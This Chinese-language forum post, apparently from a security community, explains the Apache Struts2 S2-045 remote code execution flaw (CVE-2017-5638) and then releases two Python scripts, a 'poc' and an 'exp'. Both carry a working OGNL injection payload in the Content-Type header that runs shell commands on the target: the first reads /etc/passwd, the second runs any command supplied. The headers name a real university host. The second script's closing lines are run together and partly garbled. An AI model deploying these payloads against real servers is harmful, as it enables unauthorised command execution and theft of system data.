一个名为str2-045的漏洞成了大家的讨论焦点,那么这个str2-045到底是个什么鬼?

 

这个漏洞的全名啊,叫做:基于 Jakarta plugin插件的Struts远程代码执行漏洞。根据官方评价,这个漏洞属于高危漏洞,他的漏洞编号是:CVE-2017-5638

 

那这个漏洞到底是怎么一回事呢?

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

这个漏洞的利用,是有条件滴!这个漏洞需要通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

 

1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能

2.恶意攻击者精心构造Content-Type的值

 

这个漏洞主要出现在:Struts 2.3.5 – Struts 2.3.31;Struts 2.5 – Struts 2.5.10这几个版本

 

刚发现咱们论坛已经有人放出工具,有兴趣的可以跳转过去看看:

http://bbs.ichunqiu.com/thread-19963-1-1.html

 

话不多说,我们开始发放poc和exp啦

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

header1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}
def poc():
 register_openers()
 datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
 header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
  header["Content-Type"]='''%{(#nike='multipart/form-data').
 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
 (#_memberAccess?(#_memberAccess=#dm):
 ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
 (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
 (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
 (#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
 (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
 (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
 (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
 (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
 getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
 (#ros.flush())}'''
 request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
 response = urllib2.urlopen(request)
 print response.read()




poc()

 



 

poc发放完毕,开始发放exp

 

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
header1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"xxx.baidu.com",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}
def attack(target,command):
 register_openers()
 datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
 header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
 payload = '%'+"{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='%s').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" % command  header["Content-Type"] = payload  request = urllib2.Request(str(target),datagen,headers=header)  response = urllib2.urlopen(request)  print response.read()   if len(sys.argv) < 3 :     print '%s http://target.com/xxx ifconfig' % sys.argv[0]     exit() target = sys.argv[1] command = sys.argv[2] attack(target,command)